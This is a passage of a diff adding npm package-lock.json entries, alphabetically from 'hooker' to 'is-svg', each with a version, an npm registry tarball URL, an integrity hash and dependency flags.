+ "integrity": "sha1-42w/LSyufXRqhX440Y1fMqeILbg=", + "dev": true, + "requires": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.1" + } + }, + "hooker": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/hooker/-/hooker-0.2.3.tgz", + "integrity": "sha1-uDT3I8xKJCqmWWNFnfbZhMXT2Vk=", + "dev": true + }, + "hosted-git-info": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.7.1.tgz", + "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==", + "dev": true + }, + "hsl-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/hsl-regex/-/hsl-regex-1.0.0.tgz", + "integrity": "sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4=", + "dev": true + }, + "hsla-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/hsla-regex/-/hsla-regex-1.0.0.tgz", + "integrity": "sha1-wc56MWjIxmFAM6S194d/OyJfnDg=", + "dev": true + }, + "html-comment-regex": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/html-comment-regex/-/html-comment-regex-1.1.1.tgz", + "integrity": "sha1-ZouTd26q5V696POtRkswekljYl4=", + "dev": true + }, + "htmlescape": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/htmlescape/-/htmlescape-1.1.1.tgz", + "integrity": "sha1-OgPtwiFLyjtmQko+eVk0lQnLA1E=", + "dev": true + }, + "htmlparser2": { + "version": "3.8.3", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.8.3.tgz", + "integrity": "sha1-mWwosZFRaovoZQGn15dX5ccMEGg=", + "dev": true, + "requires": { + "domelementtype": "1", + "domhandler": "2.3", + "domutils": "1.5", + "entities": "1.0", + "readable-stream": "1.1" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + }, + "readable-stream": { + "version": "1.1.14", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", + "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + } + } + }, + "http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "peer": true, + "requires": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "dependencies": { + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "peer": true + }, + "statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "peer": true + } + } + }, + "http-parser-js": { + "version": "0.4.13", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.13.tgz", + "integrity": "sha1-O9bW/ebjFyyTNMOzO2wZPYD+ETc=", + "dev": true + }, + "http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", + "dev": true, + "requires": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + } + }, + "https-browserify": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz", + "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", + "dev": true + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "icss-replace-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/icss-replace-symbols/-/icss-replace-symbols-1.1.0.tgz", + "integrity": "sha1-Bupvg2ead0njhs/h/oEq5dsiPe0=", + "dev": true + }, + "icss-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-2.1.0.tgz", + "integrity": "sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=", + "dev": true, + "requires": { + "postcss": "^6.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "iferr": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", + "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", + "dev": true + }, + "ignore": { + "version": "3.3.10", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-3.3.10.tgz", + "integrity": "sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug==", + "dev": true + }, + "iltorb": { + "version": "1.3.10", + "resolved": "https://registry.npmjs.org/iltorb/-/iltorb-1.3.10.tgz", + "integrity": "sha512-nyB4+ru1u8CQqQ6w7YjasboKN3NQTN8GH/V/eEssNRKhW6UbdxdWhB9fJ5EEdjJfezKY0qPrcwLyIcgjL8hHxA==", + "dev": true, + "optional": true, + "requires": { + "detect-libc": "^0.2.0", + "nan": "^2.6.2", + "node-gyp": "^3.6.2", + "prebuild-install": "^2.3.0" + } + }, + "image-size": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/image-size/-/image-size-0.5.5.tgz", + "integrity": "sha1-Cd/Uq50g4p6xw+gLiZA3jfnjy5w=", + "dev": true, + "optional": true + }, + "import-fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-2.0.0.tgz", + "integrity": "sha512-eZ5H8rcgYazHbKC3PG4ClHNykCSxtAhxSSEM+2mb+7evD2CKF5V7c0dNum7AdpDh0ZdICwZY9sRSn8f+KH96sg==", + "peer": true, + "requires": { + "caller-path": "^2.0.0", + "resolve-from": "^3.0.0" + }, + "dependencies": { + "caller-path": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-2.0.0.tgz", + "integrity": "sha512-MCL3sf6nCSXOwCTzvPKhN18TU7AHTvdtam8DAogxcrJ8Rjfbbg7Lgng64H9Iy+vUV6VGFClN/TyxBkAebLRR4A==", + "peer": true, + "requires": { + "caller-callsite": "^2.0.0" + } + }, + "resolve-from": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz", + "integrity": "sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw==", + "peer": true + } + } + }, + "imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=" + }, + "in-publish": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.0.tgz", + "integrity": "sha1-4g/146KvwmkDILbcVSaCqcf631E=", + "dev": true + }, + "indent-string": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz", + "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", + "dev": true, + "requires": { + "repeating": "^2.0.0" + } + }, + "indexes-of": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", + "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", + "dev": true + }, + "indexof": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/indexof/-/indexof-0.0.1.tgz", + "integrity": "sha1-gtwzbSMrkGIXnQWrMpOmYFn9Q10=", + "dev": true + }, + "infer-owner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", + "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "dev": true + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, + "ini": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", + "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==", + "dev": true + }, + "inline-source-map": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/inline-source-map/-/inline-source-map-0.6.2.tgz", + "integrity": "sha1-+Tk0ccGKedFyT4Y/o4tYY3Ct4qU=", + "dev": true, + "requires": { + "source-map": "~0.5.3" + } + }, + "inquirer": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-3.3.0.tgz", + "integrity": "sha512-h+xtnyk4EwKvFWHrUYsWErEVR+igKtLdchu+o0Z1RL7VU/jVMFbYir2bp6bAj8efFNxWqHX0dIss6fJQ+/+qeQ==", + "dev": true, + "requires": { + "ansi-escapes": "^3.0.0", + "chalk": "^2.0.0", + "cli-cursor": "^2.1.0", + "cli-width": "^2.0.0", + "external-editor": "^2.0.4", + "figures": "^2.0.0", + "lodash": "^4.3.0", + "mute-stream": "0.0.7", + "run-async": "^2.2.0", + "rx-lite": "^4.0.8", + "rx-lite-aggregates": "^4.0.8", + "string-width": "^2.1.0", + "strip-ansi": "^4.0.0", + "through": "^2.3.6" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true + }, + "string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha1-q5Pyeo3BPSjKyBXEYhQ6bZASrp4=", + "dev": true, + "requires": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + } + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "^3.0.0" + } + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "insert-module-globals": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/insert-module-globals/-/insert-module-globals-7.2.0.tgz", + "integrity": "sha512-VE6NlW+WGn2/AeOMd496AHFYmE7eLKkUY6Ty31k4og5vmA3Fjuwe9v6ifH6Xx/Hz27QvdoMoviw1/pqWRB09Sw==", + "dev": true, + "requires": { + "acorn-node": "^1.5.2", + "combine-source-map": "^0.8.0", + "concat-stream": "^1.6.1", + "is-buffer": "^1.1.0", + "JSONStream": "^1.0.3", + "path-is-absolute": "^1.0.1", + "process": "~0.11.0", + "through2": "^2.0.0", + "undeclared-identifiers": "^1.1.2", + "xtend": "^4.0.0" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + } + } + }, + "interpret": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.1.0.tgz", + "integrity": "sha1-ftGxQQxqDg94z5XTuEQMY/eLhhQ=", + "dev": true + }, + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "^1.0.0" + } + }, + "invert-kv": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", + "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", + "dev": true + }, + "ip": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.8.tgz", + "integrity": "sha512-PuExPYUiu6qMBQb4l06ecm6T6ujzhmh+MeJcW9wa89PoAz5pvd4zPgN5WJV104mb6S2T1AwNIAaB70JNrLQWhg==", + "peer": true + }, + "is-absolute-url": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-2.1.0.tgz", + "integrity": "sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=", + "dev": true + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "requires": { + "kind-of": "^3.0.2" + } + }, + "is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" + }, + "is-binary-path": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", + "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", + "dev": true, + "requires": { + "binary-extensions": "^1.0.0" + } + }, + "is-buffer": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.5.tgz", + "integrity": "sha1-Hzsm72E7IUuIy8ojzGwB2Hlh7sw=" + }, + "is-builtin-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz", + "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", + "dev": true, + "requires": { + "builtin-modules": "^1.0.0" + } + }, + "is-callable": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.4.tgz", + "integrity": "sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA==", + "dev": true + }, + "is-color-stop": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-color-stop/-/is-color-stop-1.1.0.tgz", + "integrity": "sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=", + "dev": true, + "requires": { + "css-color-names": "^0.0.4", + "hex-color-regex": "^1.1.0", + "hsl-regex": "^1.0.0", + "hsla-regex": "^1.0.0", + "rgb-regex": "^1.0.1", + "rgba-regex": "^1.0.0" + } + }, + "is-core-module": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.3.0.tgz", + "integrity": "sha512-xSphU2KG9867tsYdLD4RWQ1VqdFl4HTO9Thf3I/3dLEfr0dbPTWKsuCKrgqMljg4nPE+Gq0VCnzT3gr0CyBmsw==", + "requires": { + "has": "^1.0.3" + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "requires": { + "kind-of": "^3.0.2" + } + }, + "is-date-object": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.1.tgz", + "integrity": "sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY=", + "dev": true + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" + } + } + }, + "is-directory": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/is-directory/-/is-directory-0.3.1.tgz", + "integrity": "sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=" + }, + "is-dotfile": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/is-dotfile/-/is-dotfile-1.0.3.tgz", + "integrity": "sha1-pqLzL/0t+wT1yiXs0Pa4PPeYoeE=", + "dev": true + }, + "is-equal-shallow": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz", + "integrity": "sha1-IjgJj8Ih3gvPpdnqxMRdY4qhxTQ=", + "dev": true, + "requires": { + "is-primitive": "^2.0.0" + } + }, + "is-expression": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-expression/-/is-expression-4.0.0.tgz", + "integrity": "sha512-zMIXX63sxzG3XrkHkrAPvm/OVZVSCPNkwMHU8oTX7/U3AL78I0QXCEICXUM13BIa8TYGZ68PiTKfQz3yaTNr4A==", + "dev": true, + "requires": { + "acorn": "^7.1.1", + "object-assign": "^4.1.1" + } + }, + "is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=" + }, + "is-extglob": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", + "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=", + "dev": true + }, + "is-finite": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz", + "integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=", + "dev": true, + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "dev": true, + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "is-glob": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", + "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", + "dev": true, + "requires": { + "is-extglob": "^1.0.0" + } + }, + "is-interactive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", + "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "peer": true + }, + "is-number": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz", + "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + } + }, + "is-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha1-PkcprB9f3gJc19g6iW2rn09n2w8=", + "dev": true + }, + "is-path-cwd": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-1.0.0.tgz", + "integrity": "sha1-0iXsIxMuie3Tj9p2dHLmLmXxEG0=", + "dev": true + }, + "is-path-in-cwd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-1.0.1.tgz", + "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==", + "dev": true, + "requires": { + "is-path-inside": "^1.0.0" + } + }, + "is-path-inside": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz", + "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", + "dev": true, + "requires": { + "path-is-inside": "^1.0.1" + } + }, + "is-plain-obj": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", + "dev": true + }, + "is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha1-LBY7P6+xtgbZ0Xko8FwqHDjgdnc=", + "requires": { + "isobject": "^3.0.1" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "is-posix-bracket": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz", + "integrity": "sha1-MzTceXdDaOkvAW5vvAqI9c1ua8Q=", + "dev": true + }, + "is-primitive": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", + "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", + "dev": true + }, + "is-promise": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.1.0.tgz", + "integrity": "sha1-eaKp7OfwlugPNtKy87wWwf9L8/o=", + "dev": true + }, + "is-regex": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.0.4.tgz", + "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", + "dev": true, + "requires": { + "has": "^1.0.1" + } + }, + "is-resolvable": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz", + "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==", + "dev": true + }, + "is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" + }, + "is-svg": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-2.1.0.tgz", + "integrity": "sha1-z2EJDaDZ77yrhyLeum8DIgjbsOk=", + "dev": 